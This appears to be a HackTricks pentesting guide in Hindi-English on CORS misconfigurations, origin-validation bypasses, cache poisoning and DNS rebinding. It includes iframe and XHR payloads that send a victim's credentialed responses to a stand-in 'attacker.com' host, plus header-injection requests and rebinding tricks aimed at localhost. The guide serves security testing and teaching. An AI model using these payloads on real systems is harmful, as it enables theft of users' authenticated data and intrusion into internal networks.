CORS - Misconfigurations & Bypass

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

CORS क्या है?

Cross-Origin Resource Sharing (CORS) standard servers को यह define करने देता है कि कौन उनके assets access कर सकता है और कौन-से HTTP request methods external sources से permitted हैं।

एक same-origin policy यह mandate करती है कि resource request करने वाला server और resource host करने वाला server same protocol (जैसे http://), domain name (जैसे internal-web.com), और port (जैसे 80) share करें। इस policy के तहत, केवल same domain और port वाले web pages को resources तक access मिलता है।

http://normal-website.com/example/example.html के context में same-origin policy का application इस प्रकार illustrated है:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer same-origin policy को enforce करते समय port number ignore करता है, इसलिए यह access allowed है।

Access-Control-Allow-Origin Header

यह header multiple origins, एक null value, या wildcard * allow कर सकता है। हालांकि, कोई browser multiple origins support नहीं करता, और wildcard * का उपयोग limitations के अधीन है। (Wildcard अकेले use होना चाहिए, और इसे Access-Control-Allow-Credentials: true के साथ use करना allowed नहीं है।)

यह header server द्वारा issued किया जाता है जब website द्वारा initiate किए गए cross-domain resource request के response में browser automatically एक Origin header जोड़ता है।

Access-Control-Allow-Credentials Header

By default, cross-origin requests बिना credentials जैसे cookies या Authorization header के की जाती हैं। फिर भी, cross-domain server response को पढ़ने की अनुमति दे सकता है जब credentials भेजे जाते हैं, इसके लिए Access-Control-Allow-Credentials header को true set किया जाता है।

यदि इसे true set किया गया हो, तो browser credentials (cookies, authorization headers, या TLS client certificates) transmit करेगा।

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF प्री-फ्लाइट request

Cross-Domain communication में Pre-flight Requests को समझना

जब विशिष्ट conditions के तहत एक cross-domain request शुरू की जाती है, जैसे कि non-standard HTTP method (HEAD, GET, POST के अलावा कोई भी), नए headers जोड़ना, या एक special Content-Type header value का उपयोग करना, तो एक pre-flight request की आवश्यकता हो सकती है। यह प्रारंभिक request, जो OPTIONS method का उपयोग करती है, server को आने वाले cross-origin request के intent के बारे में बताने के लिए होती है, जिसमें वह उपयोग करने वाले HTTP methods और headers भी शामिल हैं।

Cross-Origin Resource Sharing (CORS) protocol इस pre-flight check को अनिवार्य करता है ताकि requested cross-origin operation की feasibility तय की जा सके, allowed methods, headers, और origin की trustworthiness को verify करके। किन conditions से pre-flight request की आवश्यकता नहीं रहती, इसे विस्तार से समझने के लिए Mozilla Developer Network (MDN) द्वारा प्रदान की गई comprehensive guide देखें।

यह ध्यान रखना महत्वपूर्ण है कि pre-flight request का अभाव response में authorization headers होने की requirement को समाप्त नहीं करता। इन headers के बिना, browser cross-origin request से आए response को process करने में असमर्थ होता है।

निम्न illustration पर विचार करें, जिसमें PUT method के साथ Special-Request-Header नामक custom header का उपयोग करने के लिए एक pre-flight request दिखाई गई है:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

प्रतिक्रिया में, सर्वर ऐसे headers वापस कर सकता है जो accepted methods, allowed origin, और अन्य CORS policy details को दर्शाते हैं, जैसा कि नीचे दिखाया गया है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: यह header बताता है कि actual request के दौरान कौन से headers इस्तेमाल किए जा सकते हैं। इसे server set करता है ताकि client की requests में allowed headers दिखाए जा सकें।
  • Access-Control-Expose-Headers: इस header के जरिए server client को बताता है कि simple response headers के अलावा response के हिस्से के रूप में कौन से headers expose किए जा सकते हैं।
  • Access-Control-Max-Age: यह header बताता है कि pre-flight request के results कितनी देर तक cache किए जा सकते हैं। server maximum time, seconds में, set करता है कि pre-flight request से लौटाई गई जानकारी कितनी देर तक reuse की जा सकती है।
  • Access-Control-Request-Headers: pre-flight requests में इस्तेमाल होने वाला यह header client द्वारा set किया जाता है ताकि server को बताया जा सके कि actual request में client कौन से HTTP headers इस्तेमाल करना चाहता है।
  • Access-Control-Request-Method: यह header, जो pre-flight requests में भी इस्तेमाल होता है, client द्वारा set किया जाता है ताकि यह बताया जा सके कि actual request में कौन सा HTTP method इस्तेमाल होगा।
  • Origin: यह header browser द्वारा automatically set किया जाता है और cross-origin request का origin बताता है। server इसे इस्तेमाल करता है यह assess करने के लिए कि incoming request को CORS policy के आधार पर allow किया जाना चाहिए या deny।

ध्यान दें कि आम तौर पर (content-type और set किए गए headers पर निर्भर करते हुए) GET/POST request में कोई pre-flight request नहीं भेजी जाती (request directly भेजी जाती है), लेकिन अगर आपको response के headers/body access करने हैं, तो उसमें Access-Control-Allow-Origin header होना चाहिए जो इसे allow करे।
इसलिए, CORS CSRF के खिलाफ protect नहीं करता (लेकिन यह helpful हो सकता है)।

Local Network Requests Pre-flight request

Modern browsers और current Private Network Access (PNA) draft में preflight में Access-Control-Request-Private-Network: true header और response में Access-Control-Allow-Private-Network: true header इस्तेमाल होते हैं। पुराने articles और PoCs अभी भी Local-Network header names का reference दे सकते हैं, लेकिन current testing के लिए आपको Private-Network variants expect करने चाहिए।

Local network request को allow करने वाला valid response में Access-Control-Allow-Private-Network: true भी शामिल होना चाहिए:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

और preflight request कुछ इस तरह दिखाई देगा:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome का PNA rollout 2024 के दौरान कई बार बदला। 9 अक्टूबर, 2024 तक, Chrome ने दस्तावेज़ किया कि PNA preflights रोक दिए गए थे क्योंकि compatibility problems थीं, जबकि secure-context restrictions लागू रहीं। इसलिए, spec-compliant preflight flow और पुराने “works in practice because enforcement is incomplete” behavior—दोनों का testing करते रहें।

Warning

ध्यान दें कि linux का 0.0.0.0 IP bypass करने के लिए काम करता है, ताकि localhost access किया जा सके, क्योंकि उस IP address को “local” नहीं माना जाता।

Chrome ने यह भी दस्तावेज़ किया कि 0.0.0.0/8 को अब Private Network Access का हिस्सा माना जाता है, इसलिए यह trick browser/version-dependent है और इसे assume करने के बजाय दोबारा re-test करना चाहिए।

Local Network requirements को bypass करना भी संभव है यदि आप किसी local endpoint के public IP address का उपयोग करें (जैसे router का public IP)। क्योंकि कई occasions पर, भले ही public IP access किया जा रहा हो, अगर यह local network से है, तो access granted होगा।

Wildcards

ध्यान दें कि भले ही निम्न configuration बहुत permissive लगे:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

यह browsers द्वारा allowed नहीं है और इसलिए credentials इस request के साथ sent नहीं होंगे।

Exploitable misconfigurations

यह देखा गया है कि Access-Control-Allow-Credentials को true पर set करना अधिकांश real attacks के लिए एक prerequisite है। यह setting browser को credentials send करने और response पढ़ने की अनुमति देती है, जिससे attack की effectiveness बढ़ती है। इसके बिना, खुद request करने के बजाय browser से request करवाने का लाभ कम हो जाता है, क्योंकि user’s cookies का उपयोग करना संभव नहीं रहता।

Exception: Exploiting Network Location as Authentication

एक exception मौजूद है जहाँ victim की network location authentication के एक रूप की तरह काम करती है। इससे victim के browser को proxy की तरह इस्तेमाल किया जा सकता है, और intranet applications तक पहुँचने के लिए IP-based authentication को bypass किया जा सकता है। इस method का impact DNS rebinding से मिलता-जुलता है, लेकिन इसे exploit करना अधिक सरल है।

Reflection of Origin in Access-Control-Allow-Origin

वास्तविक-world scenario जहाँ Origin header का value Access-Control-Allow-Origin में reflected होता है, सैद्धांतिक रूप से असंभव माना जाता है क्योंकि इन headers को combine करने पर restrictions होती हैं। हालांकि, कई URLs के लिए CORS enable करने के इच्छुक developers Origin header का value copy करके Access-Control-Allow-Origin header को dynamically generate कर सकते हैं। यह approach vulnerabilities ला सकती है, खासकर तब जब attacker ऐसा domain इस्तेमाल करता है जिसका नाम legitimate दिखने के लिए बनाया गया हो, जिससे validation logic deceive हो जाए।

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin का Exploiting

null origin, जो redirects या local HTML files जैसी situations के लिए specified होता है, एक unique position रखता है। कुछ applications इस origin को whitelist करती हैं ताकि local development आसान हो सके, लेकिन अनजाने में किसी भी website को sandboxed iframe के through null origin mimic करने की अनुमति दे देती हैं, जिससे CORS restrictions bypass हो जाती हैं।

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

जब किसी domain whitelist का सामना हो, तो bypass अवसरों के लिए test करना महत्वपूर्ण है, जैसे attacker के domain को किसी whitelisted domain के साथ append करना या subdomain takeover vulnerabilities का exploit करना। इसके अलावा, domain validation के लिए इस्तेमाल होने वाली regular expressions domain naming conventions की बारीकियों को नजरअंदाज कर सकती हैं, जिससे और bypass अवसर मिलते हैं।

Advanced Regular Expression Bypasses

Regex patterns आमतौर पर alphanumeric, dot (.), और hyphen (-) characters पर ध्यान केंद्रित करते हैं, और अन्य संभावनाओं को नज़रअंदाज़ करते हैं। उदाहरण के लिए, ऐसा domain name तैयार किया जा सकता है जिसमें ऐसे characters हों जिन्हें browsers और regex patterns अलग तरह से interpret करते हैं, जिससे security checks bypass हो सकते हैं। subdomains में underscore characters को Safari, Chrome, और Firefox जिस तरह handle करते हैं, वह दिखाता है कि ऐसी discrepancies का exploit करके domain validation logic को कैसे circumvent किया जा सकता है।

इस bypass check की अधिक जानकारी और settings के लिए: https://www.corben.io/advanced-cors-techniques/ और https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Developers अक्सर CORS exploitation से बचाव के लिए defensive mechanisms implement करते हैं, जिनमें domains को whitelist करना शामिल है जिन्हें information request करने की अनुमति होती है। इन precautions के बावजूद, system की security पूरी तरह foolproof नहीं होती। whitelisted domains के भीतर अगर सिर्फ़ एक vulnerable subdomain भी मौजूद हो, तो यह XSS (Cross-Site Scripting) जैसी अन्य vulnerabilities के जरिए CORS exploitation का रास्ता खोल सकता है।

इसे समझाने के लिए, मान लें कि requester.com domain को provider.com domain से resources access करने के लिए whitelisted किया गया है। server-side configuration कुछ इस तरह दिख सकती है:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

इस सेटअप में, requester.com के सभी subdomains को access की अनुमति है। हालांकि, अगर कोई subdomain, जैसे sub.requester.com, XSS vulnerability से compromised हो जाए, तो attacker इस कमजोरी का फायदा उठा सकता है। उदाहरण के लिए, sub.requester.com का access रखने वाला attacker XSS vulnerability का उपयोग करके CORS policies को bypass कर सकता है और provider.com पर resources को maliciously access कर सकता है।

Special Characters

PortSwigger’s URL validation bypass cheat sheet ने पाया कि कुछ browsers domain names के भीतर अजीब characters support करते हैं।

Chrome और Firefox underscores _ support करते हैं, जो Origin header को validate करने के लिए implemented regexes को bypass कर सकते हैं:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari डोमेन नाम में special characters स्वीकार करने में और भी अधिक lax है:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

PortSwigger की cheat sheet के हालिया updates में और भी Safari-oriented domain splitting payloads जोड़े गए हैं, जिन्हें fuzz करना worthwhile है जब target Origin header को regexes या home-grown URL parsers की मदद से validate करता है:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

ये तब उपयोगी होते हैं जब backend केवल यह जांचता है कि दिया गया origin trusted hostname से starts with या contains करता है, जबकि browser फिर भी attacker-controlled suffix को effective origin boundary मानता है।

यह भी याद रखें कि modern origin fuzzing को hostname suffixes पर ही नहीं रुकना चाहिए। मौजूदा PortSwigger cheat sheet में इन payload families के लिए शामिल हैं:

  • Domain allow-list bypasses: attacker-controlled domains जो फिर भी naive prefix/suffix/substring checks को satisfy करते हैं।
  • Fake-relative absolute URLs: browser-valid absolute URLs जिन्हें application code relative की तरह parse कर सकता है।
  • Loopback/IP normalizations: alternative IPv4/IPv6 forms जो तब उपयोगी होते हैं जब CORS logic string comparison द्वारा localhost, 127.0.0.1, या cloud metadata endpoints को block करने की कोशिश करता है।

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

यह संभव है कि HTTP header injection के माध्यम से server-side cache poisoning का exploit करके, stored Cross-Site Scripting (XSS) vulnerability induce की जा सके। यह scenario तब सामने आता है जब application Origin header को illegal characters के लिए sanitize करने में विफल रहती है, जिससे खासकर Internet Explorer और Edge users के लिए vulnerability बनती है। ये browsers (0x0d) को एक legitimate HTTP header terminator मानते हैं, जिससे HTTP header injection vulnerabilities होती हैं।

निम्न request पर विचार करें जहाँ Origin header को manipulate किया गया है:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer और Edge response को इस तरह interpret करते हैं:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

इस vulnerability का सीधे exploit करना, यानी web browser से एक malformed header भेजवाना, feasible नहीं है, लेकिन Burp Suite जैसे tools का इस्तेमाल करके manually crafted request बनाई जा सकती है। यह method server-side cache को response save करने और अनजाने में उसे दूसरों को serve करने के लिए मजबूर कर सकती है। crafted payload का उद्देश्य page का character set UTF-7 में बदलना होता है, जो एक character encoding है और XSS vulnerabilities से अक्सर जुड़ी होती है, क्योंकि यह characters को इस तरह encode कर सकती है कि कुछ contexts में वे script के रूप में execute हो सकें।

stored XSS vulnerabilities पर और पढ़ने के लिए, PortSwigger देखें।

Note: HTTP header injection vulnerabilities का exploitation, खासकर server-side cache poisoning के जरिए, यह दिखाता है कि सभी user-supplied input, including HTTP headers, को validate और sanitize करना कितना critical है। हमेशा एक robust security model अपनाएँ जिसमें ऐसी vulnerabilities को रोकने के लिए input validation शामिल हो।

Client-Side cache poisoning

इस research से

इस scenario में, एक web page का instance observe किया जाता है जो proper encoding के बिना एक custom HTTP header की contents reflect करता है। खास तौर पर, web page X-User-id header में शामिल contents को वापस reflect करता है, जिसमें malicious JavaScript हो सकता है, जैसा कि उस example में दिखाया गया है जहाँ header में एक SVG image tag होता है जो load होने पर JavaScript code execute करने के लिए designed है।

Cross-Origin Resource Sharing (CORS) policies custom headers भेजने की अनुमति देती हैं। हालांकि, CORS restrictions के कारण response browser द्वारा सीधे render नहीं होता, इसलिए ऐसी injection की utility सीमित लग सकती है। असली critical point browser के cache behavior को देखते समय सामने आता है। यदि Vary: Origin header specified नहीं है, तो malicious response का browser द्वारा cache होना संभव हो जाता है। इसके बाद, जब URL पर navigate किया जाता है, तो यह cached response सीधे render हो सकता है, जिससे initial request पर direct rendering की जरूरत bypass हो जाती है। यह mechanism client-side caching का उपयोग करके attack की reliability बढ़ाता है।

इस attack को illustrate करने के लिए, एक JavaScript example दिया गया है, जिसे web page के environment में execute करने के लिए designed किया गया है, जैसे JSFiddle के through। यह script एक simple action करती है: यह specified URL पर एक request भेजती है जिसमें malicious JavaScript वाला custom header होता है। request successfully complete होने के बाद, यह target URL पर navigate करने की कोशिश करती है, जिससे injected script का execution trigger हो सकता है यदि response Vary: Origin header के proper handling के बिना cache हो गया हो।

यहाँ इस attack को execute करने के लिए इस्तेमाल किए गए JavaScript का summarized breakdown दिया गया है:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, जिसे Cross-Site Script Inclusion के नाम से भी जाना जाता है, एक प्रकार की vulnerability है जो इस तथ्य का फायदा उठाती है कि Same Origin Policy (SOP) script tag का उपयोग करके resources include करते समय लागू नहीं होती। ऐसा इसलिए है क्योंकि scripts को अलग-अलग domains से include किया जा सकना चाहिए। यह vulnerability attacker को script tag का उपयोग करके शामिल की गई किसी भी content तक access और read करने देती है।

यह vulnerability खास तौर पर dynamic JavaScript या JSONP (JSON with Padding) के मामले में महत्वपूर्ण हो जाती है, विशेष रूप से तब जब cookies जैसी ambient-authority information authentication के लिए उपयोग की जाती हैं। किसी अलग host से resource request करने पर cookies शामिल हो जाती हैं, जिससे वे attacker के लिए accessible हो जाती हैं।

इस vulnerability को बेहतर समझने और mitigate करने के लिए, आप BurpSuite plugin का उपयोग कर सकते हैं जो https://github.com/kapytein/jsonp पर उपलब्ध है। यह plugin आपकी web applications में संभावित XSSI vulnerabilities की पहचान और समाधान में मदद कर सकता है।

XSSI के अलग-अलग प्रकारों और उन्हें exploit करने के बारे में यहाँ और पढ़ें.

Request में callback parameter जोड़ने की कोशिश करें। हो सकता है page को data को JSONP के रूप में send करने के लिए तैयार किया गया हो। ऐसे में page data को Content-Type: application/javascript के साथ वापस भेजेगा, जो CORS policy को bypass कर देगा।

Easy (useless?) bypass

Access-Control-Allow-Origin restriction को bypass करने का एक तरीका यह है कि web application से अपने behalf पर request करवाई जाए और response वापस लिया जाए। हालांकि, इस scenario में final victim के credentials send नहीं होंगे क्योंकि request एक अलग domain पर की जाती है।

  1. CORS-escape: यह tool एक proxy देता है जो आपके request को उसके headers के साथ forward करता है, और साथ ही Origin header को spoof करके requested domain से match कर देता है। इससे CORS policy effectively bypass हो जाती है। यहाँ XMLHttpRequest के साथ एक example usage है:
  2. simple-cors-escape: यह tool requests को proxy करने का एक alternative तरीका देता है। आपके request को as-is pass करने के बजाय, server दिए गए parameters के साथ अपना खुद का request बनाता है।

Iframe + Popup Bypass

आप CORS checks जैसे e.origin === window.origin को एक iframe बनाकर और उससे एक नया window खोलकर bypass कर सकते हैं। अधिक जानकारी के लिए निम्न page देखें:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

TTL के माध्यम से DNS rebinding एक technique है जिसका उपयोग DNS records में manipulation करके कुछ security measures को bypass करने के लिए किया जाता है। यह इस तरह काम करता है:

  1. Attacker एक web page बनाता है और victim को उसे access करने के लिए कहता है।
  2. फिर attacker अपने domain के DNS (IP) को बदलकर उसे victim के web page की ओर point करता है।
  3. Victim का browser DNS response को cache करता है, जिसमें TTL (Time to Live) value हो सकती है जो बताती है कि DNS record कितनी देर तक valid माना जाएगा।
  4. जब TTL expire हो जाता है, victim का browser एक नया DNS request करता है, जिससे attacker victim के page पर JavaScript code execute कर सकता है।
  5. Victim के IP पर control बनाए रखकर, attacker victim server को कोई cookies send किए बिना victim से information इकट्ठा कर सकता है।

यह ध्यान रखना महत्वपूर्ण है कि browsers में caching mechanisms होते हैं जो इस technique के तुरंत abuse को रोक सकते हैं, low TTL values के बावजूद।

DNS rebinding उन explicit IP checks को bypass करने में उपयोगी हो सकता है जो victim करता है, या उन scenarios में जहाँ user या bot लंबे समय तक एक ही page पर बना रहता है, जिससे cache expire हो जाता है।

अगर आपको DNS rebinding abuse करने का quick तरीका चाहिए, तो आप https://lock.cmpxchg8b.com/rebinder.html जैसी services का उपयोग कर सकते हैं।

अपना खुद का DNS rebinding server चलाने के लिए, आप DNSrebinder (https://github.com/mogwailabs/DNSrebinder) जैसे tools का उपयोग कर सकते हैं। इसमें अपने local port 53/udp को expose करना, उसकी ओर point करने वाला एक A record बनाना (जैसे, ns.example.com), और पहले बनाए गए A subdomain की ओर point करने वाला एक NS record बनाना (जैसे, ns.example.com) शामिल है। इसके बाद ns.example.com subdomain का कोई भी subdomain आपके host द्वारा resolve किया जाएगा।

आप आगे समझने और experimentation के लिए http://rebind.it/singularity.html पर publicly running server भी देख सकते हैं।

DNS Rebinding via DNS Cache Flooding

DNS cache flooding के माध्यम से DNS rebinding एक और technique है जिसका उपयोग browser के caching mechanism को bypass करने और दूसरा DNS request force करने के लिए किया जाता है। यह इस तरह काम करता है:

  1. शुरुआत में, जब victim DNS request करता है, तो उसे attacker के IP address के साथ जवाब दिया जाता है।
  2. Caching defense को bypass करने के लिए attacker एक service worker का उपयोग करता है। Service worker DNS cache को flood करता है, जिससे cached attacker server name effectively delete हो जाता है।
  3. जब victim का browser दूसरा DNS request करता है, तो उसे अब IP address 127.0.0.1 के साथ जवाब मिलता है, जो आमतौर पर localhost को refer करता है।

Service worker के साथ DNS cache को flood करके attacker DNS resolution process को manipulate कर सकता है और victim के browser को दूसरा request करने के लिए मजबूर कर सकता है, जो इस बार attacker के desired IP address पर resolve होगा।

DNS Rebinding via Cache

Caching defense को bypass करने का एक और तरीका DNS provider में same subdomain के लिए multiple IP addresses का उपयोग करना है। यह इस तरह काम करता है:

  1. Attacker DNS provider में same subdomain के लिए दो A records (या दो IPs वाला एक single A record) सेट करता है।
  2. जब browser इन records की जांच करता है, तो उसे दोनों IP addresses मिलते हैं।
  3. अगर browser पहले attacker के IP address का उपयोग करने का फैसला करता है, तो attacker एक payload serve कर सकता है जो same domain पर HTTP requests करता है।
  4. हालांकि, एक बार attacker victim का IP address प्राप्त कर लेता है, वह victim के browser को respond करना बंद कर देता है।
  5. Victim का browser, यह समझने पर कि domain respond नहीं कर रहा है, दूसरे दिए गए IP address का उपयोग करने लगता है।
  6. दूसरे IP address को access करके browser Same Origin Policy (SOP) को bypass कर देता है, जिससे attacker इसका abuse करके information gather और exfiltrate कर सकता है।

यह technique तब browsers के behavior का फायदा उठाती है जब किसी domain के लिए multiple IP addresses दिए जाते हैं। Responses को रणनीतिक रूप से नियंत्रित करके और browser की IP address चुनने की प्रक्रिया में manipulation करके attacker SOP को exploit कर सकता है और victim से information access कर सकता है।

Warning

ध्यान दें कि localhost access करने के लिए आपको Windows में 127.0.0.1 और linux में 0.0.0.0 को rebind करने की कोशिश करनी चाहिए।
godaddy या cloudflare जैसे providers ने मुझे ip 0.0.0.0 उपयोग करने नहीं दिया, लेकिन AWS route53 ने मुझे 2 IPs के साथ एक A record बनाने दिया, जिनमें से एक “0.0.0.0” था

अधिक जानकारी के लिए आप https://unit42.paloaltonetworks.com/dns-rebinding/ देख सकते हैं।

Other Common Bypasses

  • अगर internal IPs allowed नहीं हैं, तो वे शायद 0.0.0.0 को forbid करना भूल गए हों (Linux और Mac पर काम करता है)
  • अगर internal IPs allowed नहीं हैं, तो localhost पर CNAME respond करें (Linux और Ma पर काम करता है)
  • अगर internal IPs DNS responses के रूप में allowed नहीं हैं, तो आप www.corporate.internal जैसी internal services के लिए CNAMEs respond कर सकते हैं।

DNS Rebidding Weaponized

आप पिछली bypass techniques के बारे में और अधिक जानकारी तथा निम्न tool का उपयोग कैसे करें, यह talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference में पा सकते हैं।

Singularity of Origin एक tool है जो DNS rebinding attacks करने के लिए उपयोग होता है। इसमें attack server DNS name के IP address को target machine के IP address पर rebind करने और target machine पर vulnerable software exploit करने के लिए attack payloads serve करने के आवश्यक components शामिल हैं।

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH बस classic RFC1035 DNS wire format को HTTPS के अंदर tunnel करता है (आमतौर पर Content-Type: application/dns-message के साथ एक POST)। Resolver फिर भी वही resource records देता है, इसलिए SOP-breaking techniques तब भी काम करती रहती हैं जब browser attacker-controlled hostname को TLS के माध्यम से resolve करते हैं।

Key observations

  • Chrome (Windows/macOS) और Firefox (Linux) Cloudflare, Google, या OpenDNS DoH resolvers के लिए configured होने पर सफलतापूर्वक rebind करते हैं। Transport encryption first-then-second, multiple-answers, या DNS cache flooding strategies के attack-flow को न तो delay करता है और न ही block करता है।
  • Public resolvers फिर भी हर query देखते हैं, लेकिन वे शायद ही कभी उस host-to-IP mapping को enforce करते हैं जिसे browser को honor करना होता है। एक बार authoritative server rebinding sequence वापस कर देता है, browser नए IP से connect करते समय original origin tuple को बनाए रखता है।

Singularity strategies and timing over DoH

  • First-then-second अभी भी सबसे reliable option है: पहला lookup attacker IP लौटाता है जो payload serve करता है, बाद के हर lookup में internal/localhost IP वापस आता है। Typical browser DNS caches के साथ यह traffic को लगभग 40–60 seconds में flip कर देता है, even when recursive resolver केवल HTTPS के माध्यम से reachable हो।
  • Multiple answers (fast rebinding) अभी भी <3 seconds में localhost तक पहुँच जाता है, क्योंकि दो A records (attacker IP + Linux/macOS पर 0.0.0.0 या Windows पर 127.0.0.1) के साथ जवाब दिया जाता है और page load होने के थोड़ी देर बाद पहले IP को programmatically blackhole कर दिया जाता है (उदाहरण के लिए, iptables -I OUTPUT -d <attacker_ip> -j DROP)। Firefox की DoH implementation repeated DNS queries emit कर सकती है, इसलिए Singularity fix हर query पर timer refresh करने के बजाय firewall rule को first query timestamp के सापेक्ष schedule करना है।

DoH providers में “rebind protection” को मात देना

  • कुछ providers (जैसे, NextDNS) private/loopback answers को 0.0.0.0 से replace करते हैं, लेकिन Linux और macOS उस destination को local services की ओर खुशी से route कर देते हैं। इसलिए जानबूझकर दूसरे record के रूप में 0.0.0.0 वापस करना अभी भी origin को localhost की ओर pivot कर देता है।
  • केवल direct A/AAAA response को filter करना ineffective है: किसी internal-only hostname की ओर CNAME वापस करने पर public DoH resolver alias को forward कर देता है, जबकि Firefox जैसे browser internal zone के लिए system DNS पर fallback कर जाते हैं, जिससे resolution private IP पर पूरा हो जाता है जिसे अभी भी attacker origin माना जाता है।

Browser-specific DoH behavior

  • Firefox DoH fallback mode में काम करता है: कोई भी DoH failure (जिसमें unresolved CNAME target भी शामिल है) OS resolver के माध्यम से plaintext lookup trigger करता है, जो आमतौर पर enterprise DNS server होता है जो internal namespace को जानता है। यही behavior corporate networks के अंदर CNAME bypass को reliable बनाता है।
  • Chrome DoH केवल तब activate होता है जब OS DNS किसी whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, आदि) की ओर point करता है और वही fallback chain प्रदान नहीं करता। इसलिए केवल corporate DNS पर मौजूद internal hostnames resolve होने में विफल हो जाते हैं, लेकिन localhost या किसी भी routable address की ओर rebinding अभी भी सफल होता है क्योंकि attacker पूरे response set को नियंत्रित करता है।

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS और DoH endpoint दें (Cloudflare और NextDNS built in हैं)। Chrome/Chromium: chrome://flags/#dns-over-https enable करें और OS DNS servers को Chrome के supported resolvers में से किसी एक पर configure करें (जैसे, 1.1.1.1/1.0.0.1)।
  • आप public DoH APIs को सीधे query कर सकते हैं, जैसे curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq, ताकि यह confirm हो सके कि browsers कौन से exact records cache करेंगे।
  • Burp/ZAP में DoH intercept करना अभी भी काम करता है क्योंकि यह सिर्फ HTTPS है (body में binary DNS payload)। Packet-level inspection के लिए, browser launch करने से पहले TLS keys export करें (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) और Wireshark को dns display filter के साथ DoH sessions decrypt करने दें, ताकि देखा जा सके कि browser कब DoH पर बना रहता है या classic DNS पर fallback करता है।

Real Protection against DNS Rebinding

  • Internal services में TLS का उपयोग करें
  • Data access करने के लिए authentication request करें
  • Host header validate करें
  • https://wicg.github.io/private-network-access/: Public servers जब internal servers को access करना चाहें तो हमेशा pre-flight request भेजने का proposal

Tools

CORS policies में संभावित misconfigurations fuzz करें

References

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

